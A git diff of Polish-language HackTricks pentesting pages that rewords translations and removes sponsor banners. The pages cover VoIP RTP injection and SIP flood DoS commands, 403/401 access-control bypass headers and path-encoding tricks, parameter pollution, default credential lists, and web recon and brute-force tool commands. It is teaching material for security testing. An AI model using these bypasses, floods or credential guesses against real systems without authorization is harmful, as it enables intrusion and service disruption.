narzędzi takich jak **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) i **`rtpmixsound`** (`sudo apt install rtpmixsound`). -Możesz również użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/), aby **zeskanować rozmowy** (**`rtpscan.pl`**), wysłać `.wav` do rozmowy (**`rtpsend.pl`**) i **wstawić hałas** do rozmowy (**`rtpflood.pl`**). +Możesz również użyć skryptów z [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) do **skanowania rozmów** (**`rtpscan.pl`**), wysyłania `.wav` do rozmowy (**`rtpsend.pl`**) i **wstawiania hałasu** do rozmowy (**`rtpflood.pl`**). ### DoS @@ -587,13 +579,13 @@ Istnieje kilka sposobów, aby spróbować osiągnąć DoS na serwerach VoIP. - **`SIPPTS flood`** z [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS flood wysyła nieograniczoną liczbę wiadomości do celu. - `sippts flood -i 10.10.0.10 -m invite -v` -- **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping wykonuje ping SIP, aby zobaczyć czas odpowiedzi serwera. +- **`SIPPTS ping`** z [**sippts**](https://github.com/Pepelux/sippts)\*\*: SIPPTS ping wykonuje ping SIP, aby sprawdzić czas odpowiedzi serwera. - `sippts ping -i 10.10.0.10` - [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS protokołu IAX używanego przez Asterisk. - [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): Narzędzie do przeprowadzania floodingu wiadomości SIP/SDP INVITE przez UDP/IP. -- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka dobrze uformowanych pakietów RTP. Należy znać porty RTP, które są używane (najpierw sniff). +- [**rtpflood**](https://www.kali.org/tools/rtpflood/): Wysyła kilka poprawnie sformułowanych pakietów RTP. Należy znać porty RTP, które są używane (najpierw sniff). - [**SIPp**](https://github.com/SIPp/sipp): Umożliwia analizę i generowanie ruchu SIP, więc może być również używane do DoS. -- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Szwajcarski scyzoryk SIP. Może być również używane do przeprowadzania ataków SIP. +- [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): Szwajcarski scyzoryk SIP. Może być również używany do przeprowadzania ataków SIP. - Fuzzery: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). ### Luki w systemie operacyjnym diff --git a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md index d61a7a765..d21d14936 100644 --- a/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md +++ b/src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -2,27 +2,19 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Fuzzing metod HTTP -Spróbuj użyć **różnych czasowników** do uzyskania dostępu do pliku: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` +Spróbuj użyć **różnych metod** do uzyskania dostępu do pliku: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` -- Sprawdź nagłówki odpowiedzi, może jakieś informacje mogą być podane. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **czasownik HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksportowanie tych informacji. -- Użycie nagłówka HTTP, takiego jak `X-HTTP-Method-Override: PUT`, może nadpisać użyty czasownik. -- Użyj **czasownika `TRACE`** i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie proxy**, które mogą być przydatne. +- Sprawdź nagłówki odpowiedzi, może pojawią się jakieś informacje. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **metoda HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksfiltrowanie tych informacji. +- Użycie nagłówka HTTP, takiego jak `X-HTTP-Method-Override: PUT`, może nadpisać używaną metodę. +- Użyj **metody `TRACE`** i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie serwery proxy**, które mogą być przydatne. ## Fuzzing nagłówków HTTP -- **Zmień nagłówek Host** na jakąś dowolną wartość ([to zadziałało tutaj](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) +- **Zmień nagłówek Host** na dowolną wartość ([to zadziałało tutaj](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) - Spróbuj [**użyć innych User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) do uzyskania dostępu do zasobu. -- **Fuzzing nagłówków HTTP**: Spróbuj użyć nagłówków HTTP Proxy, podstawowej autoryzacji HTTP i NTLM brute-force (tylko z kilkoma kombinacjami) oraz innych technik. Aby to wszystko zrobić, stworzyłem narzędzie [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). +- **Fuzzing nagłówków HTTP**: Spróbuj użyć nagłówków HTTP Proxy, podstawowej autoryzacji HTTP i NTLM brute-force (tylko z kilkoma kombinacjami) oraz innych technik. W tym celu stworzyłem narzędzie [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass). - `X-Originating-IP: 127.0.0.1` - `X-Forwarded-For: 127.0.0.1` @@ -43,17 +35,17 @@ Jeśli **ścieżka jest chroniona**, możesz spróbować obejść ochronę ście - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` -- Jeśli strona jest **za proxy**, może to proxy uniemożliwiać ci dostęp do prywatnych informacji. Spróbuj wykorzystać [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **lub** [**nagłówki hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** +- Jeśli strona jest **za proxy**, może to właśnie proxy uniemożliwia ci dostęp do prywatnych informacji. Spróbuj wykorzystać [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **lub** [**nagłówki hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.** - Fuzz [**specjalne nagłówki HTTP**](special-http-headers.md), szukając różnych odpowiedzi. -- **Fuzz specjalne nagłówki HTTP** podczas fuzzingu **metod HTTP**. -- **Usuń nagłówek Host** i może uda ci się obejść ochronę. +- **Fuzzing specjalnych nagłówków HTTP** podczas fuzzingu **metod HTTP**. +- **Usuń nagłówek Host** i być może będziesz w stanie obejść ochronę. -## Fuzzing **ścieżki** +## **Fuzzing ścieżek** Jeśli _/path_ jest zablokowane: - Spróbuj użyć _**/**_**%2e/path \_(jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj także**\_\*\* /%252e\*\*/path (podwójne kodowanie URL) -- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i może już udało ci się obejść sprawdzanie nazwy _/path_ +- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i być może już obejdziesz sprawdzanie nazwy _/path_ - **Inne obejścia ścieżek**: - site.com/secret –> HTTP 403 Forbidden - site.com/SECRET –> HTTP 200 OK @@ -76,8 +68,8 @@ Jeśli _/path_ jest zablokowane: - {“id”:\[111]} --> 200 OK - {“id”:111} --> 401 Unauthorized - {“id”:{“id”:111\}} --> 200 OK -- {"user_id":"\","user_id":"\"} (Zanieczyszczenie parametru JSON) -- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Zanieczyszczenie parametru) +- {"user_id":"\","user_id":"\"} (JSON Parameter Pollution) +- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution) ## **Manipulacja parametrami** @@ -95,13 +87,13 @@ Jeśli używasz HTTP/1.1 **spróbuj użyć 1.0** lub nawet przetestuj, czy **obs ## **Inne obejścia** - Uzyskaj **IP** lub **CNAME** domeny i spróbuj **skontaktować się z nią bezpośrednio**. -- Spróbuj **obciążyć serwer**, wysyłając powszechne żądania GET ([Zadziałało to dla tego gościa z Facebookiem](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). +- Spróbuj **obciążyć serwer**, wysyłając powszechne żądania GET ([to zadziałało dla tego gościa z Facebookiem](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). - **Zmień protokół**: z http na https, lub z https na http - Przejdź do [**https://archive.org/web/**](https://archive.org/web/) i sprawdź, czy w przeszłości ten plik był **ogólnodostępny**. ## **Brute Force** -- **Zgadnij hasło**: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub nazwę wyzwania CTF? +- **Zgadnij hasło**: Przetestuj następujące powszechne dane uwierzytelniające. Czy wiesz coś o ofierze? Lub o nazwie wyzwania CTF? - [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Spróbuj podstawowej, digest i NTLM auth. ```:Common creds admin admin @@ -113,7 +105,7 @@ root toor test test guest guest ``` -## Automatyczne Narzędzia +## Narzędzia automatyczne - [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) - [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) @@ -122,12 +114,5 @@ guest guest - [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster) - [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden) -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index b988170b3..1e758dc15 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -2,17 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, eksploatowalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Podstawowe informacje -Usługa webowa jest najczęściej **wspólną i rozległą usługą** i istnieje wiele **różnych typów luk w zabezpieczeniach**. +Usługa internetowa jest najbardziej **powszechną i rozległą usługą** i istnieje wiele **różnych typów podatności**. **Domyślny port:** 80 (HTTP), 443(HTTPS) ```bash @@ -31,30 +23,30 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 web-api-pentesting.md {{#endref}} -## Podsumowanie metodologii +## Methodology summary -> W tej metodologii zakładamy, że będziesz atakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie. +> W tej metodologii zakładamy, że zamierzasz zaatakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem webowym w zakresie. - [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer webowy. Szukaj **sztuczek**, które warto mieć na uwadze podczas reszty testu, jeśli uda ci się pomyślnie zidentyfikować technologię. -- [ ] Czy istnieje jakakolwiek **znana podatność** wersji technologii? +- [ ] Czy istnieje jakakolwiek **znana luka** w wersji technologii? - [ ] Używasz jakiejś **znanej technologii**? Jakieś **przydatne sztuczki** do wydobycia większej ilości informacji? - [ ] Czy jest jakiś **specjalistyczny skaner** do uruchomienia (jak wpscan)? - [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś interesującego. - [ ] Zacznij od **wstępnych kontroli**: **robots**, **sitemap**, **błąd 404** i **skanowanie SSL/TLS** (jeśli HTTPS). - [ ] Zacznij **spiderować** stronę internetową: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**. -- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on spiderowany._ +- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być spiderowany._ - [ ] **Brute-Forcing katalogów**: Spróbuj przeprowadzić brute force na wszystkich odkrytych folderach w poszukiwaniu nowych **plików** i **katalogów**. -- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on Brute-Forced._ +- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być Brute-Forced._ - [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy możesz znaleźć **kopie zapasowe** **odkrytych plików**, dodając powszechne rozszerzenia kopii zapasowych. - [ ] **Brute-Force parametrów**: Spróbuj **znaleźć ukryte parametry**. -- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **podatności** związane z tym. +- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym. - [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md) -## Wersja serwera (podatna?) +## Server Version (Vulnerable?) -### Identyfikacja +### Identify -Sprawdź, czy istnieją **znane podatności** dla wersji serwera, która jest uruchomiona.\ +Sprawdź, czy istnieją **znane luki** dla wersji serwera **działającej**.\ **Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** **technologii** i/lub **wersji** używanej. **Skanowanie Nmap** może zidentyfikować wersję serwera, ale mogą być również przydatne narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)lub [**https://builtwith.com/**](https://builtwith.com)**:** ```bash whatweb -a 1 #Stealthy @@ -106,7 +98,7 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**: - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/) -_Weź pod uwagę, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\ +_Pamiętaj, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\ Jeśli aplikacja webowa korzysta z jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **poszukać w Internecie** nowych sztuczek (i daj mi znać!). ### Przegląd kodu źródłowego @@ -118,7 +110,7 @@ Jeśli **kod źródłowy** aplikacji jest dostępny na **github**, oprócz przep - Czy **hasła** są w **czystym tekście**, **szyfrowane** czy jaki **algorytm haszujący** jest używany? - Czy używa jakiegoś **klucza głównego** do szyfrowania czegoś? Jaki **algorytm** jest używany? - Czy możesz **uzyskać dostęp do któregokolwiek z tych plików**, wykorzystując jakąś lukę? -- Czy w **githubie** są jakieś **interesujące informacje** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)? +- Czy są jakieś **interesujące informacje na githubie** (rozwiązane i nierozwiązane) **problemy**? Lub w **historii commitów** (może jakieś **hasło wprowadzone w starym commicie**)? {{#ref}} code-review-tools.md @@ -153,7 +145,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli jakiekolwiek dane są podane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, mogłeś nawet znaleźć CMS i uruchomić jakiś skaner. +> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli podano jakieś dane) oraz kilka wskazówek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner. ## Krok po kroku Odkrywanie Aplikacji Webowej @@ -176,7 +168,7 @@ Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do n - Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.etc) - **Dodaj "\[]", "]]" i "\[\["** w **wartościach cookie** i **wartościach parametrów**, aby stworzyć błędy -- Generuj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL** +- Generuj błąd, podając dane jako **`/~randomthing/%s`** na **końcu** **URL** - Spróbuj **różnych metod HTTP** jak PATCH, DEBUG lub błędnych jak FAKE #### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)** @@ -184,7 +176,7 @@ Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do n Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj: - **Brute Force** poświadczeń -- **Przesyłać pliki** za pomocą WebDav do **pozostałych** **znalezionych folderów** w obrębie strony internetowej. Możesz mieć uprawnienia do przesyłania plików w innych folderach. +- **Przesyłać pliki** przez WebDav do **pozostałych** **znalezionych folderów** w obrębie strony internetowej. Możesz mieć uprawnienia do przesyłania plików w innych folderach. ### **Luki w SSL/TLS** @@ -200,26 +192,26 @@ Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh), aby sprawdzić * sslscan sslyze --regular ``` -Informacje o lukach w SSL/TLS: +Informacje o lukach SSL/TLS: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak największej liczby ścieżek** z testowanej aplikacji. Dlatego należy używać przeszukiwania sieci i zewnętrznych źródeł, aby znaleźć jak najwięcej ważnych ścieżek. +Uruchom jakiś rodzaj **spidera** w sieci. Celem spidera jest **znalezienie jak największej liczby ścieżek** z testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci i źródła zewnętrzne, aby znaleźć jak najwięcej ważnych ścieżek. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): Pająk HTML, LinkFinder w plikach JS i zewnętrznych źródłach (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): Pająk HML, z LinkFinder dla plików JS i Archive.org jako zewnętrzne źródło. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Pająk HTML, wskazuje również "soczyste pliki". -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI pająk HTML. Przeszukuje również Archive.org. -- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest pająkiem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Pająk HTML z możliwościami renderowania JS. Wygląda jednak na to, że nie jest utrzymywany, wersja skompilowana jest stara, a obecny kod nie kompiluje się. -- [**gau**](https://github.com/lc/gau) (go): Pająk HTML, który korzysta z zewnętrznych dostawców (wayback, otx, commoncrawl). +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i źródłach zewnętrznych (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako źródło zewnętrzne. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, wskazuje również "soczyste pliki". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Również przeszukuje Archive.org. +- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwościami renderowania JS. Wygląda jednak na to, że nie jest utrzymywany, wersja skompilowana jest stara, a obecny kod nie kompiluje się. +- [**gau**](https://github.com/lc/gau) (go): HTML spider, który korzysta z zewnętrznych dostawców (wayback, otx, commoncrawl). - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie adresy URL z parametrami i je wypisze. -- [**galer**](https://github.com/dwisiswant0/galer) (go): Pająk HTML z możliwościami renderowania JS. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Pająk HTML, z możliwościami beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również zwrócić uwagę na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów red, ninja infosec. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwościami renderowania JS. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwościami beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i w osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów red, ninja infosec. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w pythonie 2.7 używający Tornado i JSBeautifier do parsowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dany plik (HTML) wyodrębni z niego adresy URL, używając sprytnych wyrażeń regularnych do znajdowania i wyodrębniania względnych adresów URL z brzydkich (minifikowanych) plików. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbieraj interesujące informacje z plików JS, używając kilku narzędzi. @@ -230,16 +222,16 @@ Uruchom jakiś rodzaj **pająka** w sieci. Celem pająka jest **znalezienie jak - [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, zwróci ci zbeatyfikowany kod JS. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): To narzędzie służy do odkrywania punktów końcowych dla danego celu. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regex. +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regularnych. - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów w dziedzinie cyberbezpieczeństwa. - [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **rozszerzenie Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu stworzenia niestandardowej listy słów do fuzzingu i enumeracji. - [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego. - [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda mu się znaleźć. -### Brute Force directories and files +### Brute Force katalogów i plików -Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\ +Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkie katalogi **odkryte** przez **Spidering** (możesz to robić **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\ Narzędzia: - **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i przeszukiwanie rekursywne. Zbyt wolne w porównaniu do innych opcji. @@ -248,7 +240,7 @@ Narzędzia: - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera przeszukiwanie rekursywne.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest pająk, ale narzędzie, które, podając listę znalezionych adresów URL, usunie "zduplikowane" adresy URL. +- [**uro**](https://github.com/s0md3v/uro) (python): To nie jest spider, ale narzędzie, które, podając listę znalezionych adresów URL, usunie "zduplikowane" adresy URL. - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Rozszerzenie Burp do tworzenia listy katalogów z historii burp różnych stron. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Usuwa adresy URL z zduplikowanymi funkcjonalnościami (na podstawie importów js). - [**Chamaleon**](https://github.com/iustin24/chameleon): Używa wapalyzer do wykrywania używanych technologii i wybierania list słów do użycia. @@ -284,10 +276,10 @@ _Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-for - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Komentarze:** Sprawdź komentarze wszystkich plików, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**. -- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej. +- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrywanie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej. - **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Klucze API Google: Jeśli znajdziesz jakikolwiek klucz API wyglądający jak **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, możesz użyć projektu 